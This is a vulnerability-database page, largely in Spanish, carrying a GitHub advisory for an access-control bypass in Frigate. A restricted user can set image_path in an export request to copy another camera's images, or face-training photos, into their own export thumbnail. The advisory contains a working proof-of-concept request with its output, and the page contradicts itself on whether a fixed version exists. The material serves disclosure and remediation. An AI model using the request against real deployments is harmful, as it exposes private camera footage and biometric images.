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Advisory · GitHub · PyPI · Frigate

GHSA-XWHM-9623-6R35

RBAC bypass — cross-camera image disclosure via image_path in export endpoints

Texto original en inglés · Ver en español

Sin parche publicado
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CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición43 dDesde la divulgación, 9 oct 2026, 7:51 a. m.
Detección40 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
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Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
9 oct 26
18 nov 26
21 nov 26
9 oct 26
20 oct 26
31 oct 26
11 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-XWHM-9623-6R35 divulgada · CVSS 6.5 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

Frigate's role-based access control (`auth.roles`) lets an admin restrict a user to a subset of cameras. Every endpoint that returns or acts on camera-scoped data enforces this via `require_camera_access()` / `get_allowed_cameras_for_filter()`.

The recording-export endpoints accept a second, independent field, `image_path`, used to seed a new export's thumbnail from an existing image. This field is sanitized only for path-traversal containment under `CLIPS_DIR` (`_sanitize_existing_image()`)—never checked against the camera the RBAC dependency just authorized. `CLIPS_DIR` is one shared directory for all cameras, so a user restricted to camera A can create a legitimate export for camera A (passing the ACL check) while pointing `image_path` at a file under camera B's directory.

The background export worker (`RecordingExporter.save_thumbnail`) then does:

if self.user_provided_image is not None and os.path.isfile(self.user_provided_image):
    shutil.copy(self.user_provided_image, thumb_path)  # frigate/record/export.py:589
    return thumb_path

with no check that `self.user_provided_image` actually belongs to `self.camera`. The copied file becomes the thumbnail of the requester's own authorized export, which they can then legitimately download—exfiltrating image content from a camera (or the `faces/` biometric training directory) they were never granted access to.

This is a "two independently secure features compose insecurely" bug: the path-traversal hardening and the per-camera RBAC were each done correctly in isolation, but nothing cross-checks them against each other for this field.

Affected Code (file:line, current `master`)

  • `frigate/api/export.py:131-145` — `_sanitize_existing_image()`: validates only traversal/containment under `CLIPS_DIR`, never per-camera scope.
  • `frigate/api/export.py:636-786` (`export_recordings_batch`, `POST /exports/batch`) — per-item camera ACL check at `frigate/api/export.py:666-675`, completely independent of `image_path` sanitization at `frigate/api/export.py:680-686`.
  • `frigate/api/export.py:802-829` (`export_recording`, `POST /export/{camera_name}/start/{start_time}/end/{end_time}`) — same pattern: `require_camera_access` gates `camera_name`, while `body.image_path` is sanitized independently.
  • `frigate/api/export.py:943-967` (`export_recording_custom`, `POST /export/{camera_name}/customize/start/{start}/end/{end}`) — same pattern.
  • `frigate/record/export.py:583-590` (`RecordingExporter.save_thumbnail`) — the sink: unconditional `shutil.copy(self.user_provided_image, thumb_path)`.
  • `frigate/record/export.py:896-928` (`RecordingExporter.run`) — confirms the copy and `Export.insert()` (persisting `thumb_path`) happen before any FFmpeg video-encoding step.

Proof of Concept

Reproduced end-to-end against the real `frigate.api.fastapi_app.create_fastapi_app()` production app factory via FastAPI's `TestClient` (real ASGI request handling), a real temporary SQLite DB migrated with Frigate's own `peewee_migrate` migrations, and the real `RecordingExporter` background thread performing a real `shutil.copy()` of a real file on disk.

Only the unrelated ML/detection dependency stack (`cv2`, TensorFlow, ONNX Runtime, etc.) was stubbed—none of that code is in the vulnerable path.

Setup
config = {
    "auth": {
        "roles": {
            "limited_user": ["front_door"]
        }
    },
    "cameras": {
        "front_door": {...},
        "back_door": {...},
    },
}

# back_door's private thumbnail, NOT accessible to limited_user:
open(
    f"{CLIPS_DIR}/thumbs/back_door/private.jpg",
    "wb",
).write(SECRET_BYTES)
Attack

As `limited_user`, send a real HTTP request through the production app:

POST /exports/batch
X-Remote-Role: limited_user
Content-Type: application/json

{
  "items": [
    {
      "camera": "front_door",
      "start_time": ...,
      "end_time": ...,
      "image_path": "/.../clips/thumbs/back_door/private.jpg"
    }
  ]
}
Observed Result
[attack] response status=202
{
    'success': True,
    'export_id': 'front_door_xfw459',
    ...
}

[verify] Export DB row:
camera=front_door
thumb_path=.../export/front_door_xfw459.webp

[verify] thumbnail file contents:
b'BACK_DOOR_PRIVATE_CAMERA_SNAPSHOT_...'

!!! VULNERABLE: back_door's private image was copied into
    limited_user's own front_door export thumbnail !!!

[verify] GET /exports/front_door_xfw459 (as limited_user) -> 200

[verify] thumb_path=.../export/front_door_xfw459.webp
(their own export — legitimately downloadable)

`limited_user` never had `back_door` in their allow-list at any point. The request was never rejected for the mismatched `image_path`, and the leaked bytes are verifiable byte-for-byte in the DB-recorded, self-downloadable thumbnail.

Impact

Any user with export-creation rights on at least one camera can exfiltrate an arbitrary file from anywhere under `CLIPS_DIR`, including:

  • Other cameras' clips and thumbnails, including cameras restricted to administrators.
  • The `faces/` directory used for face-recognition training photos of named individuals.

This is a confidentiality-only issue; no integrity or availability impact was identified.

This is also not a regression of the existing path-traversal protection: containment outside `CLIPS_DIR` remains fixed. The issue is specifically a scoping/cross-check gap between filesystem containment and per-camera authorization.

Suggested Fix

In `_sanitize_existing_image()` (or at its call sites), additionally require that the resolved image path's camera-name component—matching how `media_auth.py` already performs directory-based camera parsing elsewhere in the codebase—equals the export item's own `camera` / `camera_name`.

Reject the request if the path belongs to a different camera or to a non-camera-scoped directory unless that directory is explicitly authorized.

This would mirror the existing check at `export.py:666-675`, ensuring that authorization of the export's `camera` field also constrains the user-controlled `image_path`.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
Frigate< 0.18.0
0.7.0
0.18.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiFrigate
Sin parche — — 0.7.0 afectada
Versiones corregidas0.18.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/blakeblackshear/frigate/security/advisories/GHSA-xwhm-9623-6r35

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.